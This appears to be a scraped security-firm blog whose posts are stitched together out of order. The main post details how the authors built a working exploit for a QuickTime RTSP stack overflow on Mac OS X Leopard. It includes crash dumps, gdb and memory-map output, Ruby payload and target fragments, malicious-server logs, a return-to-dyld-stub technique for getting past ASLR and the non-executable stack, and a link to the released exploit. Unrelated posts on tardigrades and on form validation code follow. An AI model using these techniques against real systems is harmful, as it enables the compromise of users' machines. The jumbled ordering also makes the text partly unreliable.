While we wouldn't release exploit code under normal circumstances, we are pretty much emerging and wanted to show an example of our work. Since this vulnerability was already public, and the Apple security people are most probably working on an imminent update to Quicktime, potential attackers have a limited time-span to abuse it.
Hopefully Apple will speed up on this one and release an update to fix the vulnerability. We enjoy the versatility of Mac OS X on daily basis, and want it to be as more secure as possible.
Thanks to Kevin Finisterre for the testing environment and proofing of the exploit on PowerPC. Thanks to HD Moore for suggestions and the Metasploit project.
The exploit code is available at:
static.subreption.com/public/exploits/qtimertsp_redux.rb
Some improvements that might be released:
Some screenshots might illustrate the functionality included in the exploit a bit better:

Finally it worked, thanks to the target information from MC in his Metasploit module.
896 /* load_machfile() maps the vnode */ 897 (void)ubc_map(imgp->ip_vp, PROT_READ | PROT_EXEC);
538 #ifdef notyet 539 /* Hmm .. */ 540 #if defined(VM_PROT_READ_IS_EXEC) 541 if (prot & VM_PROT_READ) 542 prot |= VM_PROT_EXECUTE; 543 if (maxprot & VM_PROT_READ) 544 maxprot |= VM_PROT_EXECUTE; 545 #endif 546 #endif /* notyet */ 547 548 #if 3777787 549 if (prot & (VM_PROT_EXECUTE | VM_PROT_WRITE)) 550 prot |= VM_PROT_READ; 551 if (maxprot & (VM_PROT_EXECUTE | VM_PROT_WRITE)) 552 maxprot |= VM_PROT_READ; 553 #endif /* radar 3777787 */Pay attention to the
VM_PROT_EXECUTE flag. Let's get back to the exploit development: we have reliable EIP control and we can most probably make use of return to libSystem (good old ret2libc) or jump into heap. But Leopard randomizes some library addresses... Let's see how the process memory layout looks like for Quicktime:
(gdb) shell vmmap 18909 | grep MALLOC MALLOC (freed?) 00122000-00123000 [ 4K] rw-/rwx SM=COW MALLOC_LARGE 00124000-0012a000 [ 24K] rw-/rwx SM=PRV DefaultMallocZone_0x200000 MALLOC_LARGE 0012d000-0012e000 [ 4K] rw-/rwx SM=PRV DefaultMallocZone_0x200000 MALLOC_LARGE 00135000-0013e000 [ 36K] rw-/rwx SM=PRV DefaultMallocZone_0x200000 MALLOC_TINY 00200000-00300000 [ 1024K] rw-/rwx SM=COW DefaultMallocZone_0x200000 MALLOC_LARGE 003bf000-003ca000 [ 44K] rw-/rwx SM=PRV DefaultMallocZone_0x200000 MALLOC_LARGE 003f9000-00401000 [ 32K] rw-/rwx SM=PRV DefaultMallocZone_0x200000 MALLOC_LARGE 00405000-00406000 [ 4K] rw-/rwx SM=PRV DefaultMallocZone_0x200000 MALLOC_LARGE 0042f000-00459000 [ 168K] rw-/rwx SM=PRV DefaultMallocZone_0x200000 MALLOC_LARGE 007ee000-007f7000 [ 36K] rw-/rwx SM=PRV DefaultMallocZone_0x200000 MALLOC_SMALL 00800000-01000000 [ 8192K] rw-/rwx SM=COW DefaultMallocZone_0x200000 MALLOC_LARGE 1450f000-14517000 [ 32K] rw-/rwx SM=PRV DefaultMallocZone_0x200000 MALLOC_TINY 14900000-14a00000 [ 1024K] rw-/rwx SM=COW DefaultMallocZone_0x200000 MALLOC_LARGE 15d1d000-15d27000 [ 40K] rw-/rwx SM=PRV DefaultMallocZone_0x200000 MALLOC [ 10.4M]The Mac OS X implementation of
malloc() has been explained extensively in one of the issues of the Phrack magazine. It's out of the scope of this article to explain its design, but it's worth mentioning how heap tricks can help to find a more stable location for our shellcode.
Quicktime makes extensive use of dynamically allocated memory, like most multimedia applications. Again, read the permission flags associated to each memory region: they seem to be rather permissive...
Our response is likely stored or replicated in heap space, and that's where we should start looking for a reliable return address or point to jump at our shellcode. A reliable exploit must always try to:
The dyld stub binding helper is a glue function that assists the dynamic linker in lazily binding an external function. When the compiler sees a call to an external function, it generates a symbol stub and a lazy pointer for the function. At the call site, the compiler generates a call to the symbol stub. The symbol stub is a sequence of code that loads the lazy pointer and jumps to it.
Some examples of stubs, found for Quicktime in a clean, up-to-date installation of Leopard:
0xa0a36c07 <dyld_stub_system>: jmp 0x91bbf3a4 <system> 0xa0a36c0c <dyld_stub_time>: jmp 0x91b5f7cf <time> 0xa0a36c11 <dyld_stub_timegm>: jmp 0x91b97f84 <timegm> 0xa0a36c16 <dyld_stub_tzset>: jmp 0x91b723ea <tzset> 0xa0a36c1b <dyld_stub_usleep>: jmp 0x91ba9942 <usleep> 0xa0a42037 <dyld_stub_mprotect>: jmp 0x91bb02bf <mprotect>Basically when one of the stubs gets called, it jumps to the right location of the specific external function. Arguments and any other variables will be processed there. For our purposes, this is a similar technique to the classical return-to-libc. With a hop in-between.
The stub is simply a placeholder.Let's see what happens when we use the address of the
exit() dyld stub (dyld_stub_exit) as our return address:
gdb) x/x dyld_stub_exit 0xa0a7e44a <dyld_stub_exit>: 0x0dc3e0e9The correct target information for the
exit() stub (at 0xa0a7e44a):
"7.3-Mac 10.5.1-IA32" => {
:ret_address => 0xa0a7e44a,
:padding_size => 291,
:prepend_data => (
[0x11223344].pack("V") + # ebx
[0xbabebeef].pack("V") + # esi
[0x31337666].pack("V") + # edi
[0xdefacedd].pack("V") # ebp
),
The exploit listens for connections, and sends the payload once a vulnerable client connects:
qtimertsp_redux.rb: Return address: 0xa0a7e44a, shellcode: 10 bytes. qtimertsp_redux.rb: Payload: 315 bytes (padding=gggggg...=0x67)Quicktime process exits cleanly!
Reading symbols for shared libraries + done Program exited with code 0163. (gdb)Obviously, exiting the process isn't useful. Not until we have done something more productive with the execution flow... and we need a flexible way to execute our shellcode or a command of our choice. We have some possibilities:
mprotect() to make the stack executable and then jump on the shellcode there.system() to execute commands. This is limited to the software available locally, therefore we should try to download some binary with curl and then execute it.system(). We are instead using the dyld stubs that in some cases remain stable (later on, they will change when a new dyld cache is built, this is documented):
When the cache is built, the addresses of the dylibs are intentionally randomized, thus when debugging you may notice that the address of OS routines like malloc is different on every machine.That means, unlike for Tiger, Leopard payloads will either work on a specific installation or only in clean, recently installed systems (we are still investigating the extent of the ASLR functionality). We observed that two different installations of Leopard (thanks to Kevin Finisterre for testing it as well) had the same stub addresses once, during the early stages of development (we haven't been able to reproduce this again). After updating our code and searching the process memory for potential static addresses to place our command string or use an existent one, we found the ever handy
/bin/bash (which in this case, serves as simple demonstration):
Starting program: /Applications/QuickTime Player.app/Contents/MacOS/QuickTime Player Reading symbols for shared libraries . done 2007-11-26 02:53:25.858 QuickTime Player[21161:813] .scriptSuite warning for argument 'UsingDescriptors' of command 'SaveReferenceMovie' in suite 'QTPSuite': 'list' is not a valid type name. bash-3.2$ exit exit Breakpoint 1, 0xa0a7e44a in dyld_stub_exit ()And the code behind the magic: first the return address pointing to the
system() dyld stub, then the address to the exit() stub and finally the address to the command string for system().
[0xa0a7e44a].pack("V") + # saved eip -> dyld_stub_exit
[0xbffffaa3].pack("V") # stable address to /bin/bash
Now, we are trying to use our own command string: it's time to look for a stable location (the following addresses might differ from that of the publicly released exploit):
1: 0087871D 0087C31D 008B719F BFFFD1B3 2: 0088CF1D 0088DD1D 0089599F BFFFD1B3 3: 0087871D 0087C31D 008B719F BFFFD1B3 4: 0089ED1D 008BEF1D 008C599F BFFFD1B3We have a problem: the addresses change in a manner that is not suitable for our particular technique. Why? Because we don't have the possibility of using a useful NOP sled.
We need an exact address for our command.And NULL bytes are also problematic. There's one specific address that didn't change there, and doesn't contain filtered characters; after using it, we realized it wasn't stable enough for different environments. This illustrates so far the process of developing an exploit using the return to dyld stub technique. Finding a reliable address for our string will most likely be the only difficulty in the process. Some tips:
/bin/bash string), take advantage of it!A process cannot be understood by stopping it. Understanding must move with the flow of the process, must join it and flow with it. Dune (1965) by Frank Herbert
Any path that narrows future possibilities may become a lethal trap. Children of Dune (1976) by Frank Herbert
A new vulnerability has been published for Apple's Quicktime software. It definitely looks like an easy one: a classic stack-based buffer overflow. We started testing the original proof of concept against Mac OS X 10.5.1 (9B18) (that's Leopard!)...
Exception Type: EXC_BAD_ACCESS (SIGSEGV) Exception Codes: KERN_INVALID_ADDRESS at 0x000000004141416b Crashed Thread: 0It's possibly embarrassing for a high profile application to have this kind of issues (it's 2007 already, approaching 2008...), but they are found everywhere. Apple is really trying to make advances in security matters, even if they didn't manage to implement some of them properly for Leopard.

Thread 0 crashed with X86 Thread State (32-bit): eax: 0x41414141 ebx: 0x166a36f0 ecx: 0x00000000 edx: 0x00000041 edi: 0xbfffd308 esi: 0x6875683f ebp: 0xbfffd438 esp: 0xbfffd180 ss: 0x0000001f efl: 0x00010207 eip: 0x166a41c5 cs: 0x00000017 ds: 0x0000001f es: 0x0000001f fs: 0x00000000 gs: 0x00000037 cr2: 0x4141416bNowadays, it's a common practice to release rather incomplete and non-reliable exploits or so-called “proof of concept” code (although, people out there don't agree on naming conventions; an exploit is not a proof of concept, if it's really reliable). They are usually coded in Python (we don't really know what's so great about it as a language for exploit development, Ruby is possibly much more flexible and efficient for such purposes), have poor indentation and code style, use publicly available shellcode and repetitive techniques, and last but not least, they are poorly automated. Releasing a proof of concept nowadays is generally a matter of getting those nifty 15 minutes of fame. Then it vanishes... With the initial exploit we developed, we can reliably fingerprint the remote Quicktime version, the architecture and Mac OS X version (this can be extracted from the
User-Agent of the request, for example: QuickTime/7.3 (qtver=7.3;cpu=IA32;os=Mac 10.5.1)). The exploit decides what payload and its related information will be used:
qtimertsp_redux.rb: Listening on 0.0.0.0:554 qtimertsp_redux.rb: Connection from localhost (127.0.0.1:59238) qtimertsp_redux.rb: Request from Quicktime: 7.3 on Mac 10.5.1 IA32 qtimertsp_redux.rb: Building payload for '7.3-Mac 10.5.1-IA32'... qtimertsp_redux.rb: Return address: 0xdeadbeef, shellcode: 10 bytes. qtimertsp_redux.rb: Payload: 315 bytes (padding=oooooo...=0x6f) qtimertsp_redux.rb: Sent 748 bytes...
Program received signal EXC_BAD_ACCESS, Could not access memory. Reason: KERN_INVALID_ADDRESS at address: 0xdeadbeef 0xdeadbeef in ?? () (gdb) back #0 0xdeadbeef in ?? () #1 0x645a4145 in ?? () Cannot access memory at address 0xdeadbef
qtver = request.scan(/User-Agent: QuickTime\/(.+?) \(qtver=(.+?);cpu=(.+?);os=(.+?)\)\r\n/).flatten
target = Hash.new
target[:version] = qtver[0]
target[:arch] = qtver[2]
target[:os] = qtver[3]
The status of registers is as follows:
eax 0xffffeae6 -5402 ecx 0x5 5 edx 0x0 0 ebx 0x11223344 287454020 esp 0xbfffd210 0xbfffd210 ebp 0xdefacedd 0xdefacedd esi 0xbabebeef -1161904401 edi 0x31337666 825456230 eip 0xdeadbeef 0xdeadbeefNote the clear control over EBP, EBX, ESI, EDI and obviously EIP itself. In order to bypass Address Space Layout Randomization (ASLR) and non-executable stack altogether, influencing as many registers as possible is a required condition. We can't just jump into our shellcode if it's located at the stack, since it will trigger an exception and the exploit will fail. This would also happen in Tiger.
Program received signal EXC_BAD_ACCESS, Could not access memory. Reason: KERN_PROTECTION_FAILURE at address: 0xbfffd1f2 0xbfffd1f2 in ?? () (gdb) shell sudo dmesg | grep execution Data/Stack execution not permitted: QuickTime Player[pid 19621] at virtual address 0xbfffd000, protections were read-write
(gdb) x/4i 0xbfffd1f2 0xbfffd1f2: int3 0xbfffd1f3: int3 0xbfffd1f4: int3 0xbfffd1f5: int3
__TEXT 91b32000-91c8d000 [ 1388K] r-x/r-x SM=COW /usr/lib/libSystem.B.dylib __TEXT 91939000-91a19000 [ 896K] r-x/r-x SM=COW /usr/lib/libobjc.A.dylib __TEXT 8fe00000-8fe2e000 [ 184K] r-x/rwx SM=COW /usr/lib/dyld __TEXT 00001000-000e6000 [ 916K] r-x/rwx SM=COW /Applications/QuickTime Player.app/Contents/MacOS/QuickTime Player __TEXT 95f40000-9673b000 [ 8172K] r-x/r-x SM=COW /System/Library/Frameworks/AppKit.framework/Versions/C/AppKitUnfortunately, Mac OS X lacks of several measures that would make exploitation less feasible:
mmap() base is not randomized.
PROT_READ implies PROT_EXEC.
malloc() is executable.mprotect(). Once the stack is made executable again, there's little you can do to prevent execution from continuing there.libSystem might be more difficult now due to ASLR, but still possible.
Without making a funny analogy between truly solid HIPS solutions and those tough organisms called extremophiles, today's entry isn't really technical per-se. Sometimes it's good to take a look over something else.

The Tardigrades (aka “water bears”) can be classified as arthropods (like insects, arachnids...) because of their segmented body. They are known because of being extremely resistant to a wide range of normally lethal conditions, namely: extreme temperatures, radiation, dehydration and extreme pressures. One of their impressive treats is their ability to lower the metabolism exponentially, and preserving themselves over long time with no water.
This is known as “cryptobiosis”; when the environment becomes hospitable again, the organism reverses back to its normal metabolic state and effectively comes back to life. Imagine an animal that has been standing still for over a decade, after post-apocalyptic events that no other species have been able to overcome, and finds its way back to a devastated world. How does it feel to be the toughest animal on Earth?
Let's see a few of the conditions that these little animals can resist:
Research of these life forms could lead to advances in treatment of certain diseases. It's simply amazing how resistant these little animals are.
Hopefully a HIPS half as tough as a tardigrade could bring some light to the rather depressing world of so-called security software!
Finally we decided that Mephisto wasn't yet the right solution for us, and until we have time to develop a proper blog engine in place, we are going to keep this going. We are damn busy at the moment, hence why our time for blogging is really limited. But we'll try to keep interesting news around, stay tuned :-).
We are sorry about the not-so impressive looking current design, but this is being worked on behind the scenes.
One of the most important features of our content management system is its usability and careful design. We faced a complicated issue with forms: it's not that uncommon to use tables for a fluid layout, easy to customize using CSS. The typical table-less solution involves using floating labels to the left, with fixed width, and input fields to the right. We've seen designs where a help text could be neatly displayed right next to the input, using tables.
Always perform server-side validation and don't require JavaScript in forms!
This allows support in possibly every web browser out there, without compatibility
issues. The code looks clean too.Another feature that boosts the usability of forms
is live data input validation. For security reasons, you should never rely on
client-side validation, but it comes as an extremely useful aid for showing the
user if there's anything wrongly formatted that requires fixing, before wasting
time submitting the form.
We came across LiveValidation (quite an appropriate name), a neat Prototype-compatible JavaScript library for automating data validation. It's free ( MIT license, for personal and commercial projects) and compatible with every major browser we've tested.
LiveValidation is a small open source javascript library built for giving users real-time validation information as they fill out forms. Not only that, but it serves as a sophisticated validation library for any validations you need to make elsewhere in your javascript, it is not just limited to form fields
var fullName = new LiveValidation('contact_full_name', {validMessage:"OK"});
var companyName = new LiveValidation('contact_company', {validMessage:"Thank you!"});
var emailAddress = new LiveValidation('contact_email', {validMessage:"OK"});
var theReferrer = new LiveValidation('contact_referrer', {validMessage:"Thank you!"});
var theWebsite = new LiveValidation('contact_website', {validMessage:"Thank you!"});
var phoneNumber = new LiveValidation('contact_phone', {validMessage:"Thank you!"});fullName.add(Validate.Presence);
validateName(fullName);
validateName(companyName);
validateEmail(emailAddress);
validatePhone(phoneNumber);
validateUri(theWebsite);
You will notice the presence of some functions that don't come from LiveValidation. Those are some wrappers that we have included in our JavaScript code for avoiding code bloat. We needed validation of URI input and phone numbers:
var RegexpURI = /((www|http)(\W+\S+[^).,:;?\]\} \r\n$]+))/i;
var RegexpPhone = /(\+)?([-\._\(\) ]?[\d]{3,20}[-\._\(\) ]?){2,10}/;(...)
function validateEmail(e) {
e.add(Validate.Presence);
e.add(Validate.Email);
}
function validateUri(uri) {
uri.add(Validate.Format, { pattern: RegexpURI,
failureMessage: "Must be a valid URI!"
});
}
function validatePhone(phone) {
phone.add(Validate.Format, { pattern: RegexpPhone,
failureMessage: "Must be a valid phone number (ex. +123-45678-908)!"
});
}
Nice? Check out the documentation and download the library.
Subreption blog by Subreption LLC is Licensed under a
Creative Commons Attribution-Noncommercial-No Derivative Works 3.0
United States License.